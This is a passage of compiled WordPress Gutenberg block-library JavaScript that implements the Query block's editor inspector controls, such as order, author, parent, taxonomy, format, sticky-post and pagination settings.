            per_page: -1
          });
        }
        return [];
      },
      [postType]
    );
    return (0, import_element103.useMemo)(() =&gt; {
      return taxonomies?.filter(
        ({ visibility }) =&gt; !!visibility?.publicly_queryable
      );
    }, [taxonomies]);
  };
  function useIsPostTypeHierarchical(postType) {
    return (0, import_data113.useSelect)(
      (select9) =&gt; {
        const type = select9(import_core_data68.store).getPostType(postType);
        return type?.viewable &amp;&amp; type?.hierarchical;
      },
      [postType]
    );
  }
  function useOrderByOptions(postType) {
    const supportsCustomOrder = (0, import_data113.useSelect)(
      (select9) =&gt; {
        const type = select9(import_core_data68.store).getPostType(postType);
        return !!type?.supports?.[&quot;page-attributes&quot;];
      },
      [postType]
    );
    return (0, import_element103.useMemo)(() =&gt; {
      const orderByOptions = [
        {
          label: (0, import_i18n185.__)(&quot;Newest to oldest&quot;),
          value: &quot;date/desc&quot;
        },
        {
          label: (0, import_i18n185.__)(&quot;Oldest to newest&quot;),
          value: &quot;date/asc&quot;
        },
        {
          /* translators: Label for ordering posts by title in ascending order. */
          label: (0, import_i18n185.__)(&quot;A \u2192 Z&quot;),
          value: &quot;title/asc&quot;
        },
        {
          /* translators: Label for ordering posts by title in descending order. */
          label: (0, import_i18n185.__)(&quot;Z \u2192 A&quot;),
          value: &quot;title/desc&quot;
        }
      ];
      if (supportsCustomOrder) {
        orderByOptions.push(
          {
            /* translators: Label for ordering posts by ascending menu order. */
            label: (0, import_i18n185.__)(&quot;Ascending by order&quot;),
            value: &quot;menu_order/asc&quot;
          },
          {
            /* translators: Label for ordering posts by descending menu order. */
            label: (0, import_i18n185.__)(&quot;Descending by order&quot;),
            value: &quot;menu_order/desc&quot;
          }
        );
      }
      return orderByOptions;
    }, [supportsCustomOrder]);
  }
  function useAllowedControls(attributes2) {
    return (0, import_data113.useSelect)(
      (select9) =&gt; select9(import_blocks95.store).getActiveBlockVariation(
        &quot;core/query&quot;,
        attributes2
      )?.allowedControls,
      [attributes2]
    );
  }
  function isControlAllowed(allowedControls, key) {
    if (!allowedControls) {
      return true;
    }
    return allowedControls.includes(key);
  }
  var getTransformedBlocksFromPattern = (blocks, queryBlockAttributes) =&gt; {
    const {
      query: { postType, inherit },
      namespace
    } = queryBlockAttributes;
    const clonedBlocks = blocks.map((block) =&gt; (0, import_blocks95.cloneBlock)(block));
    const queryClientIds = [];
    const blocksQueue = [...clonedBlocks];
    while (blocksQueue.length &gt; 0) {
      const block = blocksQueue.shift();
      if (block.name === &quot;core/query&quot;) {
        block.attributes.query = {
          ...block.attributes.query,
          postType,
          inherit
        };
        if (namespace) {
          block.attributes.namespace = namespace;
        }
        queryClientIds.push(block.clientId);
      }
      block.innerBlocks?.forEach((innerBlock) =&gt; {
        blocksQueue.push(innerBlock);
      });
    }
    return { newBlocks: clonedBlocks, queryClientIds };
  };
  function useBlockNameForPatterns(clientId, attributes2) {
    return (0, import_data113.useSelect)(
      (select9) =&gt; {
        const activeVariationName = select9(
          import_blocks95.store
        ).getActiveBlockVariation(&quot;core/query&quot;, attributes2)?.name;
        if (!activeVariationName) {
          return &quot;core/query&quot;;
        }
        const { getBlockRootClientId, getPatternsByBlockTypes } = select9(import_block_editor206.store);
        const rootClientId = getBlockRootClientId(clientId);
        const activePatterns = getPatternsByBlockTypes(
          `core/query/${activeVariationName}`,
          rootClientId
        );
        return activePatterns.length &gt; 0 ? `core/query/${activeVariationName}` : &quot;core/query&quot;;
      },
      [clientId, attributes2]
    );
  }
  function useScopedBlockVariations(attributes2) {
    const { activeVariationName, blockVariations } = (0, import_data113.useSelect)(
      (select9) =&gt; {
        const { getActiveBlockVariation, getBlockVariations: getBlockVariations3 } = select9(import_blocks95.store);
        return {
          activeVariationName: getActiveBlockVariation(
            &quot;core/query&quot;,
            attributes2
          )?.name,
          blockVariations: getBlockVariations3(&quot;core/query&quot;, &quot;block&quot;)
        };
      },
      [attributes2]
    );
    const variations18 = (0, import_element103.useMemo)(() =&gt; {
      const isNotConnected = (variation) =&gt; !variation.attributes?.namespace;
      if (!activeVariationName) {
        return blockVariations.filter(isNotConnected);
      }
      const connectedVariations = blockVariations.filter(
        (variation) =&gt; variation.attributes?.namespace?.includes(activeVariationName)
      );
      if (!!connectedVariations.length) {
        return connectedVariations;
      }
      return blockVariations.filter(isNotConnected);
    }, [activeVariationName, blockVariations]);
    return variations18;
  }
  var usePatterns = (clientId, name123) =&gt; {
    return (0, import_data113.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId, getPatternsByBlockTypes } = select9(import_block_editor206.store);
        const rootClientId = getBlockRootClientId(clientId);
        return getPatternsByBlockTypes(name123, rootClientId);
      },
      [name123, clientId]
    );
  };
  var useUnsupportedBlocks = (clientId) =&gt; {
    return (0, import_data113.useSelect)(
      (select9) =&gt; {
        const { getClientIdsOfDescendants, getBlockName } = select9(import_block_editor206.store);
        return getClientIdsOfDescendants(clientId).some(
          (descendantClientId) =&gt; {
            const blockName = getBlockName(descendantClientId);
            const blockSupportsInteractivity = Object.is(
              (0, import_blocks95.getBlockSupport)(blockName, &quot;interactivity&quot;),
              true
            );
            const blockSupportsInteractivityClientNavigation = (0, import_blocks95.getBlockSupport)(
              blockName,
              &quot;interactivity.clientNavigation&quot;
            );
            return !blockSupportsInteractivity &amp;&amp; !blockSupportsInteractivityClientNavigation;
          }
        );
      },
      [clientId]
    );
  };
  function getQueryContextFromTemplate(templateSlug) {
    if (!templateSlug) {
      return { isSingular: true };
    }
    let isSingular = false;
    let templateType = templateSlug === &quot;wp&quot; ? &quot;custom&quot; : templateSlug;
    const singularTemplates = [&quot;404&quot;, &quot;blank&quot;, &quot;single&quot;, &quot;page&quot;, &quot;custom&quot;];
    const templateTypeFromSlug = templateSlug.includes(&quot;-&quot;) ? templateSlug.split(&quot;-&quot;, 1)[0] : templateSlug;
    const queryFromTemplateSlug = templateSlug.includes(&quot;-&quot;) ? templateSlug.split(&quot;-&quot;).slice(1).join(&quot;-&quot;) : &quot;&quot;;
    if (queryFromTemplateSlug) {
      templateType = templateTypeFromSlug;
    }
    isSingular = singularTemplates.includes(templateType);
    return { isSingular, templateType };
  }

  // packages/block-library/build-module/query/edit/inspector-controls/enhanced-pagination-control.mjs
  var import_jsx_runtime382 = __toESM(require_jsx_runtime(), 1);
  function EnhancedPaginationControl({
    enhancedPagination,
    setAttributes,
    clientId
  }) {
    const hasUnsupportedBlocks = useUnsupportedBlocks(clientId);
    let help = (0, import_i18n186.__)(
      &quot;Reload the full page\u2014instead of just the posts list\u2014when visitors navigate between pages.&quot;
    );
    if (hasUnsupportedBlocks) {
      help = (0, import_i18n186.__)(
        &quot;Enhancement disabled because there are non-compatible blocks inside the Query block.&quot;
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime382.jsx)(import_jsx_runtime382.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime382.jsx)(
      import_components118.ToggleControl,
      {
        label: (0, import_i18n186.__)(&quot;Reload full page&quot;),
        help,
        checked: !enhancedPagination,
        disabled: hasUnsupportedBlocks,
        onChange: (value) =&gt; {
          setAttributes({
            enhancedPagination: !value
          });
        }
      }
    ) });
  }

  // packages/block-library/build-module/query/edit/inspector-controls/index.mjs
  var import_components128 = __toESM(require_components(), 1);
  var import_data118 = __toESM(require_data(), 1);
  var import_core_data73 = __toESM(require_core_data(), 1);
  var import_i18n196 = __toESM(require_i18n(), 1);
  var import_compose48 = __toESM(require_compose(), 1);
  var import_element106 = __toESM(require_element(), 1);

  // packages/block-library/build-module/query/edit/inspector-controls/order-control.mjs
  var import_components119 = __toESM(require_components(), 1);
  var import_i18n187 = __toESM(require_i18n(), 1);
  var import_jsx_runtime383 = __toESM(require_jsx_runtime(), 1);
  var defaultOrderByOptions = [
    {
      label: (0, import_i18n187.__)(&quot;Newest to oldest&quot;),
      value: &quot;date/desc&quot;
    },
    {
      label: (0, import_i18n187.__)(&quot;Oldest to newest&quot;),
      value: &quot;date/asc&quot;
    },
    {
      /* translators: Label for ordering posts by title in ascending order. */
      label: (0, import_i18n187.__)(&quot;A \u2192 Z&quot;),
      value: &quot;title/asc&quot;
    },
    {
      /* translators: Label for ordering posts by title in descending order. */
      label: (0, import_i18n187.__)(&quot;Z \u2192 A&quot;),
      value: &quot;title/desc&quot;
    }
  ];
  function OrderControl({
    order,
    orderBy,
    orderByOptions = defaultOrderByOptions,
    onChange
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime383.jsx)(
      import_components119.SelectControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n187.__)(&quot;Order by&quot;),
        value: `${orderBy}/${order}`,
        options: orderByOptions,
        onChange: (value) =&gt; {
          const [newOrderBy, newOrder] = value.split(&quot;/&quot;);
          onChange({ order: newOrder, orderBy: newOrderBy });
        }
      }
    );
  }
  var order_control_default = OrderControl;

  // packages/block-library/build-module/query/edit/inspector-controls/author-control.mjs
  var import_i18n188 = __toESM(require_i18n(), 1);
  var import_components120 = __toESM(require_components(), 1);
  var import_data114 = __toESM(require_data(), 1);
  var import_core_data69 = __toESM(require_core_data(), 1);
  var import_jsx_runtime384 = __toESM(require_jsx_runtime(), 1);
  var AUTHORS_QUERY3 = {
    who: &quot;authors&quot;,
    per_page: -1,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  function AuthorControl({ value, onChange }) {
    const authorsList = (0, import_data114.useSelect)((select9) =&gt; {
      const { getUsers } = select9(import_core_data69.store);
      return getUsers(AUTHORS_QUERY3);
    }, []);
    if (!authorsList) {
      return null;
    }
    const authorsInfo = getEntitiesInfo(authorsList);
    const normalizedValue = !value ? [] : value.toString().split(&quot;,&quot;);
    const sanitizedValue = normalizedValue.reduce(
      (accumulator, authorId) =&gt; {
        const author = authorsInfo.mapById[authorId];
        if (author) {
          accumulator.push({
            id: authorId,
            value: author.name
          });
        }
        return accumulator;
      },
      []
    );
    const getIdByValue = (entitiesMappedByName, authorValue) =&gt; {
      const id = authorValue?.id || entitiesMappedByName[authorValue]?.id;
      if (id) {
        return id;
      }
    };
    const onAuthorChange = (newValue) =&gt; {
      const ids = Array.from(
        newValue.reduce((accumulator, author) =&gt; {
          const id = getIdByValue(authorsInfo.mapByName, author);
          if (id) {
            accumulator.add(id);
          }
          return accumulator;
        }, /* @__PURE__ */ new Set())
      );
      onChange({ author: ids.join(&quot;,&quot;) });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime384.jsx)(
      import_components120.FormTokenField,
      {
        label: (0, import_i18n188.__)(&quot;Authors&quot;),
        value: sanitizedValue,
        suggestions: authorsInfo.names,
        onChange: onAuthorChange,
        __experimentalShowHowTo: false,
        __next40pxDefaultSize: true
      }
    );
  }
  var author_control_default = AuthorControl;

  // packages/block-library/build-module/query/edit/inspector-controls/parent-control.mjs
  var import_i18n189 = __toESM(require_i18n(), 1);
  var import_components121 = __toESM(require_components(), 1);
  var import_data115 = __toESM(require_data(), 1);
  var import_core_data70 = __toESM(require_core_data(), 1);
  var import_element104 = __toESM(require_element(), 1);
  var import_compose46 = __toESM(require_compose(), 1);
  var import_jsx_runtime385 = __toESM(require_jsx_runtime(), 1);
  var EMPTY_ARRAY4 = [];
  var BASE_QUERY = {
    order: &quot;asc&quot;,
    _fields: &quot;id,title&quot;,
    context: &quot;view&quot;
  };
  function ParentControl({ parents, postType, onChange }) {
    const [search, setSearch] = (0, import_element104.useState)(&quot;&quot;);
    const [value, setValue] = (0, import_element104.useState)(EMPTY_ARRAY4);
    const [suggestions, setSuggestions] = (0, import_element104.useState)(EMPTY_ARRAY4);
    const debouncedSearch = (0, import_compose46.useDebounce)(setSearch, 250);
    const { searchResults, searchHasResolved } = (0, import_data115.useSelect)(
      (select9) =&gt; {
        if (!search) {
          return { searchResults: EMPTY_ARRAY4, searchHasResolved: true };
        }
        const { getEntityRecords, hasFinishedResolution } = select9(import_core_data70.store);
        const selectorArgs = [
          &quot;postType&quot;,
          postType,
          {
            ...BASE_QUERY,
            search,
            orderby: &quot;relevance&quot;,
            exclude: parents,
            per_page: 20
          }
        ];
        return {
          searchResults: getEntityRecords(...selectorArgs),
          searchHasResolved: hasFinishedResolution(
            &quot;getEntityRecords&quot;,
            selectorArgs
          )
        };
      },
      [search, postType, parents]
    );
    const currentParents = (0, import_data115.useSelect)(
      (select9) =&gt; {
        if (!parents?.length) {
          return EMPTY_ARRAY4;
        }
        const { getEntityRecords } = select9(import_core_data70.store);
        return getEntityRecords(&quot;postType&quot;, postType, {
          ...BASE_QUERY,
          include: parents,
          per_page: parents.length
        });
      },
      [parents, postType]
    );
    (0, import_element104.useEffect)(() =&gt; {
      if (!parents?.length) {
        setValue(EMPTY_ARRAY4);
      }
      if (!currentParents?.length) {
        return;
      }
      const currentParentsInfo = getEntitiesInfo(
        mapToIHasNameAndId(currentParents, &quot;title.rendered&quot;)
      );
      const sanitizedValue = parents.reduce((accumulator, id) =&gt; {
        const entity = currentParentsInfo.mapById[id];
        if (entity) {
          accumulator.push({
            id,
            value: entity.name
          });
        }
        return accumulator;
      }, []);
      setValue(sanitizedValue);
    }, [parents, currentParents]);
    const entitiesInfo = (0, import_element104.useMemo)(() =&gt; {
      if (!searchResults?.length) {
        return EMPTY_ARRAY4;
      }
      return getEntitiesInfo(
        mapToIHasNameAndId(searchResults, &quot;title.rendered&quot;)
      );
    }, [searchResults]);
    (0, import_element104.useEffect)(() =&gt; {
      if (!searchHasResolved) {
        return;
      }
      setSuggestions(entitiesInfo.names);
    }, [entitiesInfo.names, searchHasResolved]);
    const getIdByValue = (entitiesMappedByName, entity) =&gt; {
      const id = entity?.id || entitiesMappedByName?.[entity]?.id;
      if (id) {
        return id;
      }
    };
    const onParentChange = (newValue) =&gt; {
      const ids = Array.from(
        newValue.reduce((accumulator, entity) =&gt; {
          const id = getIdByValue(entitiesInfo.mapByName, entity);
          if (id) {
            accumulator.add(id);
          }
          return accumulator;
        }, /* @__PURE__ */ new Set())
      );
      setSuggestions(EMPTY_ARRAY4);
      onChange({ parents: ids });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime385.jsx)(
      import_components121.FormTokenField,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n189.__)(&quot;Parents&quot;),
        value,
        onInputChange: debouncedSearch,
        suggestions,
        onChange: onParentChange,
        __experimentalShowHowTo: false
      }
    );
  }
  var parent_control_default = ParentControl;

  // packages/block-library/build-module/query/edit/inspector-controls/taxonomy-controls.mjs
  var import_components122 = __toESM(require_components(), 1);
  var import_data116 = __toESM(require_data(), 1);
  var import_core_data71 = __toESM(require_core_data(), 1);
  var import_element105 = __toESM(require_element(), 1);
  var import_compose47 = __toESM(require_compose(), 1);
  var import_html_entities11 = __toESM(require_html_entities(), 1);
  var import_i18n190 = __toESM(require_i18n(), 1);
  var import_jsx_runtime386 = __toESM(require_jsx_runtime(), 1);
  var EMPTY_ARRAY5 = [];
  var BASE_QUERY2 = {
    order: &quot;asc&quot;,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  var getTermIdByTermValue = (terms, termValue) =&gt; {
    const termId = termValue?.id || terms?.find((term) =&gt; term.name === termValue)?.id;
    if (termId) {
      return termId;
    }
    const termValueLower = termValue.toLocaleLowerCase();
    return terms?.find(
      (term) =&gt; term.name.toLocaleLowerCase() === termValueLower
    )?.id;
  };
  function TaxonomyControls({ onChange, query }) {
    const { postType, taxQuery } = query;
    const taxonomies = useTaxonomies(postType);
    if (!taxonomies?.length) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime386.jsx)(import_components122.__experimentalVStack, { spacing: 4, children: taxonomies.map((taxonomy) =&gt; {
      const includeTermIds = taxQuery?.include?.[taxonomy.slug] || [];
      const excludeTermIds = taxQuery?.exclude?.[taxonomy.slug] || [];
      const onChangeTaxQuery = (newTermIds, key) =&gt; {
        const newPartialTaxQuery = {
          ...taxQuery?.[key],
          [taxonomy.slug]: newTermIds
        };
        if (!newTermIds.length) {
          delete newPartialTaxQuery[taxonomy.slug];
        }
        const newTaxQuery = {
          ...taxQuery,
          [key]: !!Object.keys(newPartialTaxQuery).length ? newPartialTaxQuery : void 0
        };
        onChange({
          // Clean up `taxQuery` if all filters are removed.
          taxQuery: Object.values(newTaxQuery).every(
            (value) =&gt; !value
          ) ? void 0 : newTaxQuery
        });
      };
      return /* @__PURE__ */ (0, import_jsx_runtime386.jsxs)(import_element105.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime386.jsx)(
          TaxonomyItem,
          {
            taxonomy,
            termIds: includeTermIds,
            oppositeTermIds: excludeTermIds,
            onChange: (value) =&gt; onChangeTaxQuery(value, &quot;include&quot;),
            label: taxonomy.name
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime386.jsx)(
          TaxonomyItem,
          {
            taxonomy,
            termIds: excludeTermIds,
            oppositeTermIds: includeTermIds,
            onChange: (value) =&gt; onChangeTaxQuery(value, &quot;exclude&quot;),
            label: (
              /* translators: %s: taxonomy name */
              (0, import_i18n190.sprintf)((0, import_i18n190.__)(&quot;Exclude: %s&quot;), taxonomy.name)
            )
          }
        )
      ] }, taxonomy.slug);
    }) });
  }
  function TaxonomyItem({
    taxonomy,
    termIds,
    oppositeTermIds,
    onChange,
    label
  }) {
    const [search, setSearch] = (0, import_element105.useState)(&quot;&quot;);
    const [value, setValue] = (0, import_element105.useState)(EMPTY_ARRAY5);
    const [suggestions, setSuggestions] = (0, import_element105.useState)(EMPTY_ARRAY5);
    const debouncedSearch = (0, import_compose47.useDebounce)(setSearch, 250);
    const { searchResults, searchHasResolved } = (0, import_data116.useSelect)(
      (select9) =&gt; {
        if (!search) {
          return { searchResults: EMPTY_ARRAY5, searchHasResolved: true };
        }
        const { getEntityRecords, hasFinishedResolution } = select9(import_core_data71.store);
        const combinedExclude = [...termIds, ...oppositeTermIds];
        const selectorArgs = [
          &quot;taxonomy&quot;,
          taxonomy.slug,
          {
            ...BASE_QUERY2,
            search,
            orderby: &quot;name&quot;,
            exclude: combinedExclude,
            per_page: 20
          }
        ];
        return {
          searchResults: getEntityRecords(...selectorArgs),
          searchHasResolved: hasFinishedResolution(
            &quot;getEntityRecords&quot;,
            selectorArgs
          )
        };
      },
      [search, taxonomy.slug, termIds, oppositeTermIds]
    );
    const existingTerms = (0, import_data116.useSelect)(
      (select9) =&gt; {
        if (!termIds?.length) {
          return EMPTY_ARRAY5;
        }
        const { getEntityRecords } = select9(import_core_data71.store);
        return getEntityRecords(&quot;taxonomy&quot;, taxonomy.slug, {
          ...BASE_QUERY2,
          include: termIds,
          per_page: termIds.length
        });
      },
      [taxonomy.slug, termIds]
    );
    (0, import_element105.useEffect)(() =&gt; {
      if (!termIds?.length) {
        setValue(EMPTY_ARRAY5);
      }
      if (!existingTerms?.length) {
        return;
      }
      const sanitizedValue = termIds.reduce((accumulator, id) =&gt; {
        const entity = existingTerms.find((term) =&gt; term.id === id);
        if (entity) {
          accumulator.push({
            id,
            value: entity.name
          });
        }
        return accumulator;
      }, []);
      setValue(sanitizedValue);
    }, [termIds, existingTerms]);
    (0, import_element105.useEffect)(() =&gt; {
      if (!searchHasResolved) {
        return;
      }
      setSuggestions(searchResults.map((result) =&gt; result.name));
    }, [searchResults, searchHasResolved]);
    const onTermsChange = (newTermValues) =&gt; {
      const newTermIds = /* @__PURE__ */ new Set();
      for (const termValue of newTermValues) {
        const termId = getTermIdByTermValue(searchResults, termValue);
        if (termId) {
          newTermIds.add(termId);
        }
      }
      setSuggestions(EMPTY_ARRAY5);
      onChange(Array.from(newTermIds));
    };
    return /* @__PURE__ */ (0, import_jsx_runtime386.jsx)(&quot;div&quot;, { className: &quot;block-library-query-inspector__taxonomy-control&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime386.jsx)(
      import_components122.FormTokenField,
      {
        label,
        value,
        onInputChange: debouncedSearch,
        suggestions,
        displayTransform: import_html_entities11.decodeEntities,
        onChange: onTermsChange,
        __experimentalShowHowTo: false,
        __next40pxDefaultSize: true
      }
    ) });
  }

  // packages/block-library/build-module/query/edit/inspector-controls/format-controls.mjs
  var import_components123 = __toESM(require_components(), 1);
  var import_data117 = __toESM(require_data(), 1);
  var import_core_data72 = __toESM(require_core_data(), 1);
  var import_i18n191 = __toESM(require_i18n(), 1);
  var import_jsx_runtime387 = __toESM(require_jsx_runtime(), 1);
  var POST_FORMATS = [
    { value: &quot;aside&quot;, label: (0, import_i18n191.__)(&quot;Aside&quot;) },
    { value: &quot;audio&quot;, label: (0, import_i18n191.__)(&quot;Audio&quot;) },
    { value: &quot;chat&quot;, label: (0, import_i18n191.__)(&quot;Chat&quot;) },
    { value: &quot;gallery&quot;, label: (0, import_i18n191.__)(&quot;Gallery&quot;) },
    { value: &quot;image&quot;, label: (0, import_i18n191.__)(&quot;Image&quot;) },
    { value: &quot;link&quot;, label: (0, import_i18n191.__)(&quot;Link&quot;) },
    { value: &quot;quote&quot;, label: (0, import_i18n191.__)(&quot;Quote&quot;) },
    { value: &quot;standard&quot;, label: (0, import_i18n191.__)(&quot;Standard&quot;) },
    { value: &quot;status&quot;, label: (0, import_i18n191.__)(&quot;Status&quot;) },
    { value: &quot;video&quot;, label: (0, import_i18n191.__)(&quot;Video&quot;) }
  ].sort((a2, b2) =&gt; {
    const normalizedA = a2.label.toUpperCase();
    const normalizedB = b2.label.toUpperCase();
    if (normalizedA &lt; normalizedB) {
      return -1;
    }
    if (normalizedA &gt; normalizedB) {
      return 1;
    }
    return 0;
  });
  function formatNamesToValues(names, formats) {
    return names.map((name123) =&gt; {
      return formats.find(
        (item) =&gt; item.label.toLocaleLowerCase() === name123.toLocaleLowerCase()
      )?.value;
    }).filter(Boolean);
  }
  function FormatControls({ onChange, query: { format: format3 } }) {
    const normalizedFormats = Array.isArray(format3) ? format3 : [format3];
    const { supportedFormats } = (0, import_data117.useSelect)((select9) =&gt; {
      const themeSupports = select9(import_core_data72.store).getThemeSupports();
      return {
        supportedFormats: themeSupports.formats
      };
    }, []);
    const formats = POST_FORMATS.filter(
      (item) =&gt; supportedFormats.includes(item.value)
    );
    const values = normalizedFormats.map(
      (name123) =&gt; formats.find((item) =&gt; item.value === name123)?.label
    ).filter(Boolean);
    const suggestions = formats.filter((item) =&gt; !normalizedFormats.includes(item.value)).map((item) =&gt; item.label);
    return /* @__PURE__ */ (0, import_jsx_runtime387.jsx)(
      import_components123.FormTokenField,
      {
        label: (0, import_i18n191.__)(&quot;Formats&quot;),
        value: values,
        suggestions,
        onChange: (newValues) =&gt; {
          onChange({
            format: formatNamesToValues(newValues, formats)
          });
        },
        __experimentalShowHowTo: false,
        __experimentalExpandOnFocus: true,
        __next40pxDefaultSize: true
      }
    );
  }

  // packages/block-library/build-module/query/edit/inspector-controls/sticky-control.mjs
  var import_components124 = __toESM(require_components(), 1);
  var import_i18n192 = __toESM(require_i18n(), 1);
  var import_jsx_runtime388 = __toESM(require_jsx_runtime(), 1);
  var stickyOptions = [
    { label: (0, import_i18n192.__)(&quot;Include&quot;), value: &quot;&quot; },
    { label: (0, import_i18n192.__)(&quot;Ignore&quot;), value: &quot;ignore&quot; },
    { label: (0, import_i18n192.__)(&quot;Exclude&quot;), value: &quot;exclude&quot; },
    { label: (0, import_i18n192.__)(&quot;Only&quot;), value: &quot;only&quot; }
  ];
  function StickyControl({ value, onChange }) {
    return /* @__PURE__ */ (0, import_jsx_runtime388.jsx)(
      import_components124.SelectControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n192.__)(&quot;Sticky posts&quot;),
        options: stickyOptions,
        value,
        onChange,
        help: (0, import_i18n192.__)(
          &quot;Sticky posts always appear first, regardless of their publish date.&quot;
        )
      }
    );
  }

  // packages/block-library/build-module/query/edit/inspector-controls/per-page-control.mjs
  var import_components125 = __toESM(require_components(), 1);
  var import_i18n193 = __toESM(require_i18n(), 1);
  var import_jsx_runtime389 = __toESM(require_jsx_runtime(), 1);
  var MIN_POSTS_PER_PAGE = 1;
  var MAX_POSTS_PER_PAGE = 100;
  var PerPageControl = ({ perPage, offset = 0, onChange }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime389.jsx)(
      import_components125.RangeControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n193.__)(&quot;Items per page&quot;),
        min: MIN_POSTS_PER_PAGE,
        max: MAX_POSTS_PER_PAGE,
        onChange: (newPerPage) =&gt; {
          if (isNaN(newPerPage) || newPerPage &lt; MIN_POSTS_PER_PAGE || newPerPage &gt; MAX_POSTS_PER_PAGE) {
            return;
          }
          onChange({ perPage: newPerPage, offset });
        },
        value: parseInt(perPage, 10)
      }
    );
  };
  var per_page_control_default = PerPageControl;

  // packages/block-library/build-module/query/edit/inspector-controls/offset-controls.mjs
  var import_components126 = __toESM(require_components(), 1);
  var import_i18n194 = __toESM(require_i18n(), 1);
  var import_jsx_runtime390 = __toESM(require_jsx_runtime(), 1);
  var MIN_OFFSET = 0;
  var MAX_OFFSET = 100;
  var OffsetControl = ({ offset = 0, onChange }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime390.jsx)(
      import_components126.__experimentalNumberControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n194.__)(&quot;Offset&quot;),
        value: offset,
        min: MIN_OFFSET,
        onChange: (newOffset) =&gt; {
          if (isNaN(newOffset) || newOffset &lt; MIN_OFFSET || newOffset &gt; MAX_OFFSET) {
            return;
          }
          onChange({ offset: newOffset });
        }
      }
    );
  };
  var offset_controls_default = OffsetControl;

  // packages/block-library/build-module/query/edit/inspector-controls/pages-control.mjs
  var import_components127 = __toESM(require_components(), 1);
  var import_i18n195 = __toESM(require_i18n(), 1);
  var import_jsx_runtime391 = __toESM(require_jsx_runtime(), 1);
  var PagesControl = ({ pages, onChange }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime391.jsx)(
      import_components127.__experimentalNumberControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n195.__)(&quot;Max pages to show&quot;),
        value: pages,
        min: 0,
        onChange: (newPages) =&gt; {
          if (isNaN(newPages) || newPages &lt; 0) {
            return;
          }
          onChange({ pages: newPages });
        },
        help: (0, import_i18n195.__)(
          &quot;Limit the pages you want to show, even if the query has more results. To show all pages use 0 (zero).&quot;
        )
      }
    );
  };
  var pages_control_default = PagesControl;

  // packages/block-library/build-module/query/edit/inspector-controls/index.mjs
  var import_jsx_runtime392 = __toESM(require_jsx_runtime(), 1);
  function QueryInspectorControls(props) {
    const { attributes: attributes2, setQuery, isSingular } = props;
    const { query } = attributes2;
    const {
      order,
      orderBy,
      author: authorIds,
      pages,
      postType,
      perPage,
      offset,
      sticky,
      inherit,
      taxQuery,
      parents,
      format: format3
    } = query;
    const allowedControls = useAllowedControls(attributes2);
    const showSticky = postType === &quot;post&quot;;
    const {
      postTypesTaxonomiesMap,
      postTypesSelectOptions,
      postTypeFormatSupportMap
    } = usePostTypes();
    const taxonomies = useTaxonomies(postType);
    const isPostTypeHierarchical = useIsPostTypeHierarchical(postType);
    const onPostTypeChange = (newValue) =&gt; {
      const updateQuery = { postType: newValue };
      const supportedTaxonomies = postTypesTaxonomiesMap[newValue];
      if (!!supportedTaxonomies?.length &amp;&amp; !!taxQuery) {
        const buildTaxQuery = (_taxQuery) =&gt; {
          return Object.entries(_taxQuery || {}).reduce(
            (accumulator, [taxonomy, terms]) =&gt; {
              if (supportedTaxonomies.includes(taxonomy)) {
                accumulator[taxonomy] = terms;
              }
              return accumulator;
            },
            {}
          );
        };
        const updatedTaxQuery = {};
        const builtIncludeTaxQuery = buildTaxQuery(taxQuery.include);
        if (!!Object.keys(builtIncludeTaxQuery).length) {
          updatedTaxQuery.include = builtIncludeTaxQuery;
        }
        const builtExcludeTaxQuery = buildTaxQuery(taxQuery.exclude);
        if (!!Object.keys(builtExcludeTaxQuery).length) {
          updatedTaxQuery.exclude = builtExcludeTaxQuery;
        }
        updateQuery.taxQuery = !!Object.keys(updatedTaxQuery).length ? updatedTaxQuery : void 0;
      }
      if (newValue !== &quot;post&quot;) {
        updateQuery.sticky = &quot;&quot;;
      }
      updateQuery.parents = [];
      const hasFormatSupport = postTypeFormatSupportMap[newValue];
      if (!hasFormatSupport) {
        updateQuery.format = [];
      }
      setQuery(updateQuery);
    };
    const [querySearch, setQuerySearch] = (0, import_element106.useState)(query.search);
    const debouncedQuerySearch = (0, import_element106.useMemo)(() =&gt; {
      return (0, import_compose48.debounce)((newQuerySearch) =&gt; {
        setQuery({ search: newQuerySearch });
      }, 250);
    }, [setQuery]);
    const orderByOptions = useOrderByOptions(postType);
    const showInheritControl = isControlAllowed(allowedControls, &quot;inherit&quot;);
    const showPostTypeControl = !inherit &amp;&amp; isControlAllowed(allowedControls, &quot;postType&quot;);
    const postTypeControlLabel = (0, import_i18n196.__)(&quot;Post type&quot;);
    const postTypeControlHelp = (0, import_i18n196.__)(
      &quot;Select the type of content to display: posts, pages, or custom post types.&quot;
    );
    const showOrderControl = !inherit &amp;&amp; isControlAllowed(allowedControls, &quot;order&quot;);
    const showStickyControl = !inherit &amp;&amp; showSticky &amp;&amp; isControlAllowed(allowedControls, &quot;sticky&quot;);
    const showSettingsPanel = showInheritControl || showPostTypeControl || showOrderControl || showStickyControl;
    const showTaxControl = !!taxonomies?.length &amp;&amp; isControlAllowed(allowedControls, &quot;taxQuery&quot;);
    const showAuthorControl = isControlAllowed(allowedControls, &quot;author&quot;);
    const showSearchControl = isControlAllowed(allowedControls, &quot;search&quot;);
    const showParentControl = isControlAllowed(allowedControls, &quot;parents&quot;) &amp;&amp; isPostTypeHierarchical;
    const postTypeHasFormatSupport = postTypeFormatSupportMap[postType];
    const showFormatControl = (0, import_data118.useSelect)(
      (select9) =&gt; {
